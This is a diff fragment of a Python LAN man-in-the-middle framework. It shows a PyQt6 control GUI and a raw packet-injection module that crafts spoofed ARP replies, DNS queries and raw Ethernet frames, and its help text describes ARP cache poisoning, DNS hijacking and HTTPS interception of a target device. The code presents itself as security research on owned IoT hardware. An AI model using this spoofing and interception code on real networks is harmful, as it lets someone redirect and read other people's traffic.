|
def _apply_dark_theme(self):
|
||||||
|
self.setStyleSheet("""
|
||||||
|
QWidget { background: #1e1f29; color: #f8f8f2; font-family: 'JetBrains Mono','Fira Code',monospace; font-size: 11pt; }
|
||||||
|
QTabWidget::pane { border: 1px solid #44475a; }
|
||||||
|
QTabBar::tab { background: #282a36; padding: 8px 16px; border: 1px solid #44475a; }
|
||||||
|
QTabBar::tab:selected { background: #44475a; color: #50fa7b; }
|
||||||
|
QPushButton { background: #44475a; border: 1px solid #6272a4; padding: 6px 14px; border-radius: 3px; }
|
||||||
|
QPushButton:hover { background: #6272a4; }
|
||||||
|
QPushButton:pressed { background: #50fa7b; color: #282a36; }
|
||||||
|
QPlainTextEdit, QTextEdit, QLineEdit { background: #282a36; border: 1px solid #44475a; selection-background-color: #44475a; }
|
||||||
|
QHeaderView::section { background: #44475a; color: #f8f8f2; padding: 4px; border: none; }
|
||||||
|
QTableWidget { background: #282a36; gridline-color: #44475a; }
|
||||||
|
QTableWidget::item:selected { background: #44475a; }
|
||||||
|
QGroupBox { border: 1px solid #44475a; margin-top: 10px; padding-top: 10px; }
|
||||||
|
QGroupBox::title { subcontrol-origin: margin; left: 10px; padding: 0 5px; color: #8be9fd; }
|
||||||
|
QStatusBar { background: #282a36; color: #50fa7b; }
|
||||||
|
""")
|
||||||
|
|
||||||
|
# ── Dashboard ─────────────────────────────────────────
|
||||||
|
def _build_dashboard(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
|
||||||
|
ctrl_box = QGroupBox("MITM Control")
|
||||||
|
cl = QHBoxLayout(ctrl_box)
|
||||||
|
for label, fn in [
|
||||||
|
("▶ START ALL", lambda: threading.Thread(target=self.ctrl.start_services, daemon=True).start()),
|
||||||
|
("⏹ STOP ALL", lambda: threading.Thread(target=self.ctrl.stop_services, daemon=True).start()),
|
||||||
|
("Clear Log", self._clear_log),
|
||||||
|
]:
|
||||||
|
b = QPushButton(label); b.clicked.connect(fn); cl.addWidget(b)
|
||||||
|
cl.addStretch()
|
||||||
|
layout.addWidget(ctrl_box)
|
||||||
|
|
||||||
|
self.state_label = QLabel("MITM: STOPPED")
|
||||||
|
self.state_label.setStyleSheet("color:#ff5555; font-size:18pt; font-weight:bold; padding:10px;")
|
||||||
|
layout.addWidget(self.state_label)
|
||||||
|
|
||||||
|
flags_box = QGroupBox("Services (click to toggle)")
|
||||||
|
fl = QVBoxLayout(flags_box)
|
||||||
|
self.svc_buttons = {}
|
||||||
|
for name in ("arp", "dns", "http", "https", "sniffer", "intruder"):
|
||||||
|
btn = QPushButton(f"● {name}: off")
|
||||||
|
btn.setStyleSheet("text-align:left; color:#ff5555; padding:6px; background:#282a36;")
|
||||||
|
btn.clicked.connect(lambda _, n=name: threading.Thread(
|
||||||
|
target=self.ctrl.toggle_service, args=(n,), daemon=True).start())
|
||||||
|
self.svc_buttons[name] = btn
|
||||||
|
fl.addWidget(btn)
|
||||||
|
layout.addWidget(flags_box)
|
||||||
|
|
||||||
|
proto_box = QGroupBox("Protocols Seen")
|
||||||
|
pl = QVBoxLayout(proto_box)
|
||||||
|
self.proto_label = QLabel("(none yet)")
|
||||||
|
self.proto_label.setStyleSheet("color:#f1fa8c; font-family:monospace;")
|
||||||
|
pl.addWidget(self.proto_label)
|
||||||
|
layout.addWidget(proto_box)
|
||||||
|
|
||||||
|
info_box = QGroupBox("Target")
|
||||||
|
il = QFormLayout(info_box)
|
||||||
|
self.lbl_tgt = QLabel(self.ctrl.cfg["target_ip"] or "(unset)")
|
||||||
|
self.lbl_us = QLabel(self.ctrl.cfg["our_ip"] or "(unset)")
|
||||||
|
self.lbl_rtr = QLabel(self.ctrl.cfg["router_ip"] or "(unset)")
|
||||||
|
self.lbl_mac = QLabel(self.ctrl.cfg["target_mac"] or "(unset)")
|
||||||
|
for lbl in (self.lbl_tgt, self.lbl_us, self.lbl_rtr, self.lbl_mac):
|
||||||
|
lbl.setStyleSheet("color:#f1fa8c; font-weight:bold;")
|
||||||
|
il.addRow("Target IP:", self.lbl_tgt)
|
||||||
|
il.addRow("Our IP:", self.lbl_us)
|
||||||
|
il.addRow("Router IP:", self.lbl_rtr)
|
||||||
|
il.addRow("Target MAC:", self.lbl_mac)
|
||||||
|
layout.addWidget(info_box)
|
||||||
|
|
||||||
|
layout.addStretch()
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── Live Log ──────────────────────────────────────────
|
||||||
|
def _build_log_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
bar = QHBoxLayout()
|
||||||
|
bar.addWidget(QLabel("Filter:"))
|
||||||
|
self.log_filter = QLineEdit()
|
||||||
|
self.log_filter.setPlaceholderText("substring filter (live)…")
|
||||||
|
bar.addWidget(self.log_filter)
|
||||||
|
self.autoscroll_cb = QCheckBox("Autoscroll")
|
||||||
|
self.autoscroll_cb.setChecked(True)
|
||||||
|
bar.addWidget(self.autoscroll_cb)
|
||||||
|
b = QPushButton("Clear")
|
||||||
|
b.clicked.connect(self._clear_log)
|
||||||
|
bar.addWidget(b)
|
||||||
|
layout.addLayout(bar)
|
||||||
|
self.log_view = QTextEdit()
|
||||||
|
self.log_view.setReadOnly(True)
|
||||||
|
self.log_view.setLineWrapMode(QTextEdit.LineWrapMode.NoWrap)
|
||||||
|
f = QFont("JetBrains Mono", 10)
|
||||||
|
f.setStyleHint(QFont.StyleHint.Monospace)
|
||||||
|
self.log_view.setFont(f)
|
||||||
|
layout.addWidget(self.log_view)
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── Intruders ─────────────────────────────────────────
|
||||||
|
def _build_intruder_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
head = QHBoxLayout()
|
||||||
|
self.intruder_count = QLabel("0 events")
|
||||||
|
self.intruder_count.setStyleSheet("color:#ff79c6; font-size:14pt; font-weight:bold;")
|
||||||
|
head.addWidget(self.intruder_count)
|
||||||
|
head.addStretch()
|
||||||
|
b = QPushButton("Clear")
|
||||||
|
b.clicked.connect(lambda: (intruder_watch.clear_intruders(), self._refresh_intruders()))
|
||||||
|
head.addWidget(b)
|
||||||
|
layout.addLayout(head)
|
||||||
|
self.intruder_table = QTableWidget(0, 5)
|
||||||
|
self.intruder_table.setHorizontalHeaderLabels(["Time", "Kind", "Source", "Destination", "Detail"])
|
||||||
|
self.intruder_table.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeMode.Stretch)
|
||||||
|
self.intruder_table.setEditTriggers(QAbstractItemView.EditTrigger.NoEditTriggers)
|
||||||
|
self.intruder_table.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows)
|
||||||
|
layout.addWidget(self.intruder_table)
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── Inject ────────────────────────────────────────────
|
||||||
|
def _build_inject_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
|
||||||
|
udp_box = QGroupBox("UDP Inject")
|
||||||
|
ul = QFormLayout(udp_box)
|
||||||
|
self.udp_ip = QLineEdit(self.ctrl.cfg["target_ip"])
|
||||||
|
self.udp_port = QLineEdit("0")
|
||||||
|
self.udp_payload = QLineEdit()
|
||||||
|
self.udp_payload.setPlaceholderText("hex payload, e.g. deadbeef")
|
||||||
|
ul.addRow("Dst IP:", self.udp_ip)
|
||||||
|
ul.addRow("Dst port:", self.udp_port)
|
||||||
|
ul.addRow("Payload:", self.udp_payload)
|
||||||
|
b = QPushButton("Send UDP")
|
||||||
|
b.clicked.connect(self._send_udp)
|
||||||
|
ul.addRow("", b)
|
||||||
|
layout.addWidget(udp_box)
|
||||||
|
|
||||||
|
arp_box = QGroupBox("ARP Reply")
|
||||||
|
al = QFormLayout(arp_box)
|
||||||
|
self.arp_src = QLineEdit(self.ctrl.cfg["router_ip"])
|
||||||
|
self.arp_dst = QLineEdit(self.ctrl.cfg["target_ip"])
|
||||||
|
al.addRow("Src IP (spoof):", self.arp_src)
|
||||||
|
al.addRow("Dst IP:", self.arp_dst)
|
||||||
|
b2 = QPushButton("Send ARP")
|
||||||
|
b2.clicked.connect(lambda: packet.inject(self.ctrl.cfg, {
|
||||||
|
"type": "arp_reply", "src_ip": self.arp_src.text(), "dst_ip": self.arp_dst.text()
|
||||||
|
}))
|
||||||
|
al.addRow("", b2)
|
||||||
|
layout.addWidget(arp_box)
|
||||||
|
|
||||||
|
dns_box = QGroupBox("DNS Query")
|
||||||
|
dl = QFormLayout(dns_box)
|
||||||
|
self.dns_dom = QLineEdit()
|
||||||
|
self.dns_dom.setPlaceholderText("example.com")
|
||||||
|
dl.addRow("Domain:", self.dns_dom)
|
||||||
|
b3 = QPushButton("Send DNS")
|
||||||
|
b3.clicked.connect(lambda: packet.inject(self.ctrl.cfg, {
|
||||||
|
"type": "dns_query", "domain": self.dns_dom.text()
|
||||||
|
}))
|
||||||
|
dl.addRow("", b3)
|
||||||
|
layout.addWidget(dns_box)
|
||||||
|
|
||||||
|
layout.addStretch()
|
||||||
|
return w
|
||||||
|
|
||||||
|
def _send_udp(self):
|
||||||
|
try:
|
||||||
|
packet.inject(self.ctrl.cfg, {
|
||||||
|
"type": "udp",
|
||||||
|
"dst_ip": self.udp_ip.text(),
|
||||||
|
"dst_port": int(self.udp_port.text()),
|
||||||
|
"payload": self.udp_payload.text(),
|
||||||
|
"payload_hex": True,
|
||||||
|
})
|
||||||
|
except Exception as e:
|
||||||
|
QMessageBox.warning(self, "Inject error", str(e))
|
||||||
|
|
||||||
|
# ── Settings ──────────────────────────────────────────
|
||||||
|
def _build_settings_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
outer = QVBoxLayout(w)
|
||||||
|
|
||||||
|
info = QLabel(
|
||||||
|
"Set the target's IP, the target's MAC, the IP of THIS box, the gateway, and the network interface.\n"
|
||||||
|
"Save Config to persist. Restart MITM after changing target_ip."
|
||||||
|
)
|
||||||
|
info.setStyleSheet("color:#8be9fd; padding:6px;")
|
||||||
|
outer.addWidget(info)
|
||||||
|
|
||||||
|
form = QFormLayout()
|
||||||
|
self.cfg_inputs = {}
|
||||||
|
for k, v in self.ctrl.cfg.items():
|
||||||
|
if k.startswith("_"):
|
||||||
|
continue
|
||||||
|
le = QLineEdit(json.dumps(v) if not isinstance(v, str) else v)
|
||||||
|
self.cfg_inputs[k] = le
|
||||||
|
form.addRow(k, le)
|
||||||
|
outer.addLayout(form)
|
||||||
|
|
||||||
|
bb = QHBoxLayout()
|
||||||
|
b1 = QPushButton("Save Config")
|
||||||
|
b1.clicked.connect(self._save_config)
|
||||||
|
bb.addWidget(b1)
|
||||||
|
b2 = QPushButton("Reload From Disk")
|
||||||
|
b2.clicked.connect(self._reload_config)
|
||||||
|
bb.addWidget(b2)
|
||||||
|
bb.addStretch()
|
||||||
|
path_lbl = QLabel(f"file: {CONFIG_FILE}")
|
||||||
|
path_lbl.setStyleSheet("color:#888; font-size:10pt;")
|
||||||
|
bb.addWidget(path_lbl)
|
||||||
|
outer.addLayout(bb)
|
||||||
|
return w
|
||||||
|
|
||||||
|
def _save_config(self):
|
||||||
|
for k, le in self.cfg_inputs.items():
|
||||||
|
old = self.ctrl.cfg[k]
|
||||||
|
v = le.text()
|
||||||
|
try:
|
||||||
|
if isinstance(old, bool):
|
||||||
|
v = v.lower() in ("true", "1", "yes")
|
||||||
|
elif isinstance(old, int):
|
||||||
|
v = int(v)
|
||||||
|
elif isinstance(old, float):
|
||||||
|
v = float(v)
|
||||||
|
elif isinstance(old, list):
|
||||||
|
v = json.loads(v)
|
||||||
|
except (ValueError, json.JSONDecodeError):
|
||||||
|
pass
|
||||||
|
self.ctrl.cfg[k] = v
|
||||||
|
self.ctrl.cfg.save()
|
||||||
|
log("config saved from GUI", C_SUCCESS)
|
||||||
|
|
||||||
|
def _reload_config(self):
|
||||||
|
self.ctrl.cfg.load()
|
||||||
|
for k, le in self.cfg_inputs.items():
|
||||||
|
v = self.ctrl.cfg[k]
|
||||||
|
le.setText(json.dumps(v) if not isinstance(v, str) else v)
|
||||||
|
log("config reloaded from disk", C_SUCCESS)
|
||||||
|
|
||||||
|
# ── Help ──────────────────────────────────────────────
|
||||||
|
def _build_help_tab(self):
|
||||||
|
w = QWidget()
|
||||||
|
layout = QVBoxLayout(w)
|
||||||
|
view = QTextEdit()
|
||||||
|
view.setReadOnly(True)
|
||||||
|
view.setHtml("""
|
||||||
|
<h2 style="color:#50fa7b">SetecMITM</h2>
|
||||||
|
<p>Generic LAN-side MITM framework for any IoT or cloud-connected device.
|
||||||
|
Built for authorized security research on hardware you own.</p>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Quick start</h3>
|
||||||
|
<ol>
|
||||||
|
<li>Open the <b>Settings</b> tab. Fill in <code>target_ip</code>, <code>target_mac</code>, <code>our_ip</code>, <code>router_ip</code>, and <code>iface</code>. Save.</li>
|
||||||
|
<li>Open the <b>Dashboard</b> tab.</li>
|
||||||
|
<li>Click <b>▶ START ALL</b> — or click each service row individually.</li>
|
||||||
|
<li>Switch to <b>Live Log</b> to watch traffic in real time.</li>
|
||||||
|
<li>Switch to <b>Intruders</b> to see detected suspicious activity.</li>
|
||||||
|
</ol>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Tabs</h3>
|
||||||
|
<ul>
|
||||||
|
<li><b>Dashboard</b> — START/STOP, click any service to toggle, watch protocol counts and target info.</li>
|
||||||
|
<li><b>Live Log</b> — every log line, color-coded. Filter by substring. Toggle Autoscroll.</li>
|
||||||
|
<li><b>Intruders</b> — table of ARP-spoof attempts, unknown LAN peers contacting the target, and outbound destinations not on your whitelist.</li>
|
||||||
|
<li><b>Inject</b> — craft and send raw UDP, ARP, or DNS packets.</li>
|
||||||
|
<li><b>Settings</b> — every config key, editable, persisted to <code>~/.config/setec-mitm/config.json</code>.</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Services</h3>
|
||||||
|
<ul>
|
||||||
|
<li><b>arp</b> — ARP cache poisoning so the target thinks we are the gateway.</li>
|
||||||
|
<li><b>dns</b> — DNS spoof: redirect cloud lookups to our box.</li>
|
||||||
|
<li><b>http / https</b> — Intercept ports 80/443. HTTPS uses an auto-generated cert with full SAN list (regen with <code>regen_cert.sh</code>).</li>
|
||||||
|
<li><b>sniffer</b> — Raw packet sniffer with conntrack original-destination lookup and protocol fingerprinting.</li>
|
||||||
|
<li><b>intruder</b> — Detects ARP spoofs against the target, unknown LAN peers contacting it, and outbound destinations not in <code>intruder_known_nets</code>.</li>
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Plugins (target-specific code)</h3>
|
||||||
|
<p>Vendor-specific clients (cloud API, fuzz wordlists, CVE checks) live under
|
||||||
|
<code>targets/<name>/plugin.py</code>. Set <code>target_plugin</code> in
|
||||||
|
the Settings tab to load one. See <code>targets/example/</code> for the layout.</p>
|
||||||
|
|
||||||
|
<h3 style="color:#8be9fd">Run</h3>
|
||||||
|
<p><code>sudo /usr/bin/python3 gui.py</code></p>
|
||||||
|
""")
|
||||||
|
layout.addWidget(view)
|
||||||
|
return w
|
||||||
|
|
||||||
|
# ── Periodic refresh ──────────────────────────────────
|
||||||
|
def _tick(self):
|
||||||
|
with lock:
|
||||||
|
total = len(log_lines)
|
||||||
|
if total < self._last_log_idx:
|
||||||
|
self._last_log_idx = 0
|
||||||
|
new = list(log_lines)[self._last_log_idx:]
|
||||||
|
self._last_log_idx = total
|
||||||
|
if new:
|
||||||
|
self.bridge.new_lines.emit(new)
|
||||||
|
|
||||||
|
if self.ctrl.services_running:
|
||||||
|
self.state_label.setText("MITM: RUNNING")
|
||||||
|
self.state_label.setStyleSheet("color:#50fa7b; font-size:18pt; font-weight:bold; padding:10px;")
|
||||||
|
else:
|
||||||
|
self.state_label.setText("MITM: STOPPED")
|
||||||
|
self.state_label.setStyleSheet("color:#ff5555; font-size:18pt; font-weight:bold; padding:10px;")
|
||||||
|
|
||||||
|
for name, btn in self.svc_buttons.items():
|
||||||
|
on = self.ctrl.flags.get(name, False)
|
||||||
|
btn.setText(f"● {name}: {'ON' if on else 'off'}")
|
||||||
|
color = "#50fa7b" if on else "#ff5555"
|
||||||
|
btn.setStyleSheet(f"text-align:left; color:{color}; padding:6px; background:#282a36;")
|
||||||
|
|
||||||
|
counts = proto_id.seen_counts()
|
||||||
|
if counts:
|
||||||
|
txt = " ".join(f"{k}={v}" for k, v in sorted(counts.items(), key=lambda x: -x[1]))
|
||||||
|
self.proto_label.setText(txt)
|
||||||
|
|
||||||
|
self._refresh_intruders()
|
||||||
|
|
||||||
|
self.lbl_tgt.setText(self.ctrl.cfg["target_ip"] or "(unset)")
|
||||||
|
self.lbl_us.setText(self.ctrl.cfg["our_ip"] or "(unset)")
|
||||||
|
self.lbl_rtr.setText(self.ctrl.cfg["router_ip"] or "(unset)")
|
||||||
|
self.lbl_mac.setText(self.ctrl.cfg["target_mac"] or "(unset)")
|
||||||
|
|
||||||
|
self.status.showMessage(
|
||||||
|
f"target={self.ctrl.cfg['target_ip'] or '?'} iface={self.ctrl.cfg['iface'] or '?'} "
|
||||||
|
f"intruders={len(intruder_watch.get_intruders())}"
|
||||||
|
)
|
||||||
|
|
||||||
|
def _refresh_intruders(self):
|
||||||
|
items = intruder_watch.get_intruders()
|
||||||
|
self.intruder_count.setText(f"{len(items)} events")
|
||||||
|
if self.intruder_table.rowCount() != len(items):
|
||||||
|
self.intruder_table.setRowCount(len(items))
|
||||||
|
for i, e in enumerate(items):
|
||||||
|
self.intruder_table.setItem(i, 0, QTableWidgetItem(e["ts"]))
|
||||||
|
kind_item = QTableWidgetItem(e["kind"])
|
||||||
|
kind_item.setForeground(QColor("#ff79c6"))
|
||||||
|
self.intruder_table.setItem(i, 1, kind_item)
|
||||||
|
self.intruder_table.setItem(i, 2, QTableWidgetItem(e["src"]))
|
||||||
|
self.intruder_table.setItem(i, 3, QTableWidgetItem(e["dst"]))
|
||||||
|
self.intruder_table.setItem(i, 4, QTableWidgetItem(e["detail"]))
|
||||||
|
|
||||||
|
def _append_log(self, lines):
|
||||||
|
flt = self.log_filter.text().lower()
|
||||||
|
autoscroll = self.autoscroll_cb.isChecked()
|
||||||
|
sb = self.log_view.verticalScrollBar()
|
||||||
|
old_pos = sb.value()
|
||||||
|
old_user_cursor = self.log_view.textCursor()
|
||||||
|
write_cursor = QTextCursor(self.log_view.document())
|
||||||
|
write_cursor.movePosition(QTextCursor.MoveOperation.End)
|
||||||
|
for line, color in lines:
|
||||||
|
if flt and flt not in line.lower():
|
||||||
|
continue
|
||||||
|
fmt = write_cursor.charFormat()
|
||||||
|
fmt.setForeground(QT_COLORS.get(color, QT_COLORS[C_NONE]))
|
||||||
|
write_cursor.setCharFormat(fmt)
|
||||||
|
write_cursor.insertText(line + "\n")
|
||||||
|
if autoscroll:
|
||||||
|
self.log_view.moveCursor(QTextCursor.MoveOperation.End)
|
||||||
|
self.log_view.ensureCursorVisible()
|
||||||
|
else:
|
||||||
|
self.log_view.setTextCursor(old_user_cursor)
|
||||||
|
sb.setValue(old_pos)
|
||||||
|
|
||||||
|
def _clear_log(self):
|
||||||
|
self.log_view.clear()
|
||||||
|
with lock:
|
||||||
|
log_lines.clear()
|
||||||
|
self._last_log_idx = 0
|
||||||
|
|
||||||
|
def closeEvent(self, ev):
|
||||||
|
if self.ctrl.services_running:
|
||||||
|
self.ctrl.stop_services()
|
||||||
|
self.ctrl.running = False
|
||||||
|
close_logfile()
|
||||||
|
ev.accept()
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if os.geteuid() != 0:
|
||||||
|
print("Run with: sudo /usr/bin/python3 gui.py")
|
||||||
|
sys.exit(1)
|
||||||
|
ctrl = Controller()
|
||||||
|
os.makedirs(ctrl.cfg["log_dir"], exist_ok=True)
|
||||||
|
init_logfile(f"{ctrl.cfg['log_dir']}/setec_mitm.log")
|
||||||
|
signal.signal(signal.SIGINT, signal.SIG_DFL)
|
||||||
|
app = QApplication(sys.argv)
|
||||||
|
win = MainWindow(ctrl)
|
||||||
|
win.show()
|
||||||
|
rc = app.exec()
|
||||||
|
if ctrl.services_running:
|
||||||
|
ctrl.stop_services()
|
||||||
|
close_logfile()
|
||||||
|
sys.exit(rc)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
0
inject/__init__.py
Normal file
0
inject/__init__.py
Normal file
178
inject/packet.py
Normal file
178
inject/packet.py
Normal file
@@ -0,0 +1,178 @@
|
|||||||
|
"""Packet injection — craft and send raw packets to the target or network"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import os
|
||||||
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_IMPORTANT
|
||||||
|
|
||||||
|
|
||||||
|
def _checksum(data):
|
||||||
|
"""Calculate IP/TCP/UDP checksum"""
|
||||||
|
if len(data) % 2:
|
||||||
|
data += b"\x00"
|
||||||
|
s = sum(struct.unpack("!%dH" % (len(data) // 2), data))
|
||||||
|
s = (s >> 16) + (s & 0xFFFF)
|
||||||
|
s += s >> 16
|
||||||
|
return ~s & 0xFFFF
|
||||||
|
|
||||||
|
|
||||||
|
def build_ethernet(src_mac, dst_mac, ethertype=0x0800):
|
||||||
|
src = bytes.fromhex(src_mac.replace(":", ""))
|
||||||
|
dst = bytes.fromhex(dst_mac.replace(":", ""))
|
||||||
|
return dst + src + struct.pack("!H", ethertype)
|
||||||
|
|
||||||
|
|
||||||
|
def build_ip(src_ip, dst_ip, proto, payload_len):
|
||||||
|
ver_ihl = 0x45
|
||||||
|
tos = 0
|
||||||
|
total_len = 20 + payload_len
|
||||||
|
ident = os.getpid() & 0xFFFF
|
||||||
|
flags_frag = 0x4000 # Don't Fragment
|
||||||
|
ttl = 64
|
||||||
|
header = struct.pack("!BBHHHBBH4s4s",
|
||||||
|
ver_ihl, tos, total_len, ident, flags_frag,
|
||||||
|
ttl, proto, 0,
|
||||||
|
socket.inet_aton(src_ip), socket.inet_aton(dst_ip))
|
||||||
|
chk = _checksum(header)
|
||||||
|
return header[:10] + struct.pack("!H", chk) + header[12:]
|
||||||
|
|
||||||
|
|
||||||
|
def build_udp(src_port, dst_port, payload):
|
||||||
|
length = 8 + len(payload)
|
||||||
|
header = struct.pack("!HHH", src_port, dst_port, length) + b"\x00\x00"
|
||||||
|
return header + payload
|
||||||
|
|
||||||
|
|
||||||
|
def build_tcp_syn(src_port, dst_port, seq=1000):
|
||||||
|
data_offset = 5 << 4
|
||||||
|
flags = 0x02 # SYN
|
||||||
|
window = 65535
|
||||||
|
header = struct.pack("!HHIIBBHHH",
|
||||||
|
src_port, dst_port, seq, 0,
|
||||||
|
data_offset, flags, window, 0, 0)
|
||||||
|
return header
|
||||||
|
|
||||||
|
|
||||||
|
def build_arp_request(src_mac, src_ip, target_ip):
|
||||||
|
src_m = bytes.fromhex(src_mac.replace(":", ""))
|
||||||
|
dst_m = b"\xff\xff\xff\xff\xff\xff"
|
||||||
|
eth = dst_m + src_m + b"\x08\x06"
|
||||||
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 1) # request
|
||||||
|
arp += src_m + socket.inet_aton(src_ip)
|
||||||
|
arp += b"\x00" * 6 + socket.inet_aton(target_ip)
|
||||||
|
return eth + arp
|
||||||
|
|
||||||
|
|
||||||
|
def build_arp_reply(src_mac, dst_mac, src_ip, dst_ip):
|
||||||
|
src_m = bytes.fromhex(src_mac.replace(":", ""))
|
||||||
|
dst_m = bytes.fromhex(dst_mac.replace(":", ""))
|
||||||
|
eth = dst_m + src_m + b"\x08\x06"
|
||||||
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2) # reply
|
||||||
|
arp += src_m + socket.inet_aton(src_ip)
|
||||||
|
arp += dst_m + socket.inet_aton(dst_ip)
|
||||||
|
return eth + arp
|
||||||
|
|
||||||
|
|
||||||
|
def build_dns_query(domain, src_port=12345):
|
||||||
|
"""Build a DNS query packet payload"""
|
||||||
|
txid = struct.pack("!H", os.getpid() & 0xFFFF)
|
||||||
|
flags = b"\x01\x00" # standard query
|
||||||
|
counts = struct.pack("!HHHH", 1, 0, 0, 0)
|
||||||
|
qname = b""
|
||||||
|
for label in domain.encode().split(b"."):
|
||||||
|
qname += bytes([len(label)]) + label
|
||||||
|
qname += b"\x00"
|
||||||
|
qtype = struct.pack("!HH", 1, 1) # A record, IN class
|
||||||
|
return txid + flags + counts + qname + qtype
|
||||||
|
|
||||||
|
|
||||||
|
def send_raw(iface, packet):
|
||||||
|
"""Send a raw Ethernet frame"""
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
||||||
|
sock.bind((iface, 0))
|
||||||
|
sock.send(packet)
|
||||||
|
sock.close()
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
log(f"INJECT: send failed: {e}", C_ERROR)
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def send_udp(dst_ip, dst_port, payload, src_port=0):
|
||||||
|
"""Send UDP datagram using normal socket"""
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
if src_port:
|
||||||
|
sock.bind(("", src_port))
|
||||||
|
sock.sendto(payload, (dst_ip, dst_port))
|
||||||
|
sock.close()
|
||||||
|
log(f"INJECT: UDP sent to {dst_ip}:{dst_port} ({len(payload)}B)", C_SUCCESS)
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
log(f"INJECT: UDP failed: {e}", C_ERROR)
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def inject(cfg, params):
|
||||||
|
"""
|
||||||
|
Inject a packet based on params dict.
|
||||||
|
params: {
|
||||||
|
"type": "udp"|"arp_request"|"arp_reply"|"dns_query"|"raw",
|
||||||
|
"dst_ip": "...",
|
||||||
|
"dst_port": 1234,
|
||||||
|
"src_port": 5678,
|
||||||
|
"payload": "hex string or ascii",
|
||||||
|
"payload_hex": true/false,
|
||||||
|
"domain": "for dns_query",
|
||||||
|
"src_mac": "...", "dst_mac": "...",
|
||||||
|
"src_ip": "...",
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
ptype = params.get("type", "udp")
|
||||||
|
iface = cfg["iface"]
|
||||||
|
|
||||||
|
if ptype == "udp":
|
||||||
|
dst_ip = params.get("dst_ip", cfg["target_ip"])
|
||||||
|
dst_port = int(params.get("dst_port", 10240))
|
||||||
|
src_port = int(params.get("src_port", 0))
|
||||||
|
payload = params.get("payload", "")
|
||||||
|
if params.get("payload_hex"):
|
||||||
|
payload = bytes.fromhex(payload)
|
||||||
|
else:
|
||||||
|
payload = payload.encode()
|
||||||
|
return {"ok": send_udp(dst_ip, dst_port, payload, src_port)}
|
||||||
|
|
||||||
|
elif ptype == "arp_request":
|
||||||
|
our_mac = open(f"/sys/class/net/{iface}/address").read().strip()
|
||||||
|
target_ip = params.get("dst_ip", cfg["target_ip"])
|
||||||
|
pkt = build_arp_request(our_mac, cfg["our_ip"], target_ip)
|
||||||
|
return {"ok": send_raw(iface, pkt)}
|
||||||
|
|
||||||
|
elif ptype == "arp_reply":
|
||||||
|
src_mac = params.get("src_mac", open(f"/sys/class/net/{iface}/address").read().strip())
|
||||||
|
dst_mac = params.get("dst_mac", cfg["target_mac"])
|
||||||
|
src_ip = params.get("src_ip", cfg["router_ip"])
|
||||||
|
dst_ip = params.get("dst_ip", cfg["target_ip"])
|
||||||
|
pkt = build_arp_reply(src_mac, dst_mac, src_ip, dst_ip)
|
||||||
|
log(f"INJECT: ARP reply {src_ip} is-at {src_mac} -> {dst_ip}", C_IMPORTANT)
|
||||||
|
return {"ok": send_raw(iface, pkt)}
|
||||||
|
|
||||||
|
elif ptype == "dns_query":
|
||||||
|
domain = params.get("domain", "portal.ubianet.com")
|
||||||
|
payload = build_dns_query(domain)
|
||||||
|
dst_ip = params.get("dst_ip", cfg["router_ip"])
|
||||||
|
return {"ok": send_udp(dst_ip, 53, payload)}
|
||||||
|
|
||||||
|
elif ptype == "raw":
|
||||||
|
payload = params.get("payload", "")
|
||||||
|
if params.get("payload_hex"):
|
||||||
|
payload = bytes.fromhex(payload)
|
||||||
|
else:
|
||||||
|
payload = payload.encode()
|
||||||
|
# Need full ethernet frame for raw
|
||||||
|
return {"ok": send_raw(iface, payload)}
|
||||||
|
|
||||||
|
else:
|
||||||
|
log(f"INJECT: unknown type '{ptype}'", C_ERROR)
|
||||||
|
return {"ok": False, "error": f"unknown type: {ptype}"}
|
||||||
223
mitm.py
Executable file
223
mitm.py
Executable file
@@ -0,0 +1,223 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
SetecMITM — generic IoT / cloud-device MITM framework.
|
||||||
|
|
||||||
|
Drop-in framework for ARP spoofing, DNS hijacking, HTTP/HTTPS interception,
|
||||||
|
UDP capture, raw sniffer, intruder detection, and packet injection against
|
||||||
|
any device on the LAN. Target-specific logic (vendor cloud clients, CVE
|
||||||
|
verifiers, fuzzer wordlists) lives in `targets/<name>/` plugins.
|
||||||
|
|
||||||
|
Run with:
|
||||||
|
sudo /usr/bin/python3 mitm.py
|
||||||
|
or via the PyQt6 GUI:
|
||||||
|
sudo /usr/bin/python3 gui.py
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import signal
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
|
||||||
